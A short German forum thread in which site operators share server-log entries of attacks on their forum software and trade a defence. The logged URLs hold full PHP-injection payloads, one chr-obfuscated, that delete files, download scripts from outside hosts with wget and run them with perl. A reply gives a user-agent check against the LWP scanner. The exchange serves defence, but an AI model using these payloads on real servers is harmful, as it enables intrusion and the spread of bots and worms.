Script Kiddys ???

[Ice Man]

und weiter gehts

Angeforderte URL: /forum/viewtopic.php?t=775&rush=echo%20_START_%3B%20cd%20/tmp;cd%20rm%20-rf%20*;wget%20http://filepack.superbr.org/sess_0bc3910d07edb36750a9babbd179edb4;perl%20sess_0bc3910d07edb36750a9babbd179edb4;wget%20http://filepack.superbr.org/wow.e;perl%20wow.e%3B%20echo%20_END_&highlight=%2527.passthru(%24HTTP_GET_VARS%5Brush%5D).%2527


Kam gerade rein

Browser ist jetzt: LWP::Simple/5.47

###############

und noch einer

Angeforderte URL: /forum/viewtopic.php?t=574&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(118)%252echr(97)%252echr(114)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(58)%252echr(47)%252echr(47)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(53)%252echr(119)%252echr(107)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(49)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(104)%252echr(116)%252echr(116)%252echr(112)%252echr(58)%252echr(47)%252echr(47)%252echr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(53)%252echr(119)%252echr(107)%252echr(46)%252echr(99)%252echr(111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)%252echr(116))%252e%2527

Browser: lwp-trivial/1.41

[treo]

ich sehe in den livelogs sowas mitlerweile nicht mehr,
am anfang meiner index.php steht ein exit für falls der useragent lwp im namen hat.

[Ice Man]

wie funktioniert das ?

Bitte mal genau erklären, kenne es nur von der .htaccess

[treo]

naja ich habe einfach in die beiden haupt script dateien die einzeln aufgerufen werden an den anfang dies hier gesetzt:
if(stristr($_SERVER['HTTP_USER_AGENT'], 'lwp')) exit;

[Ice Man]

achso, danke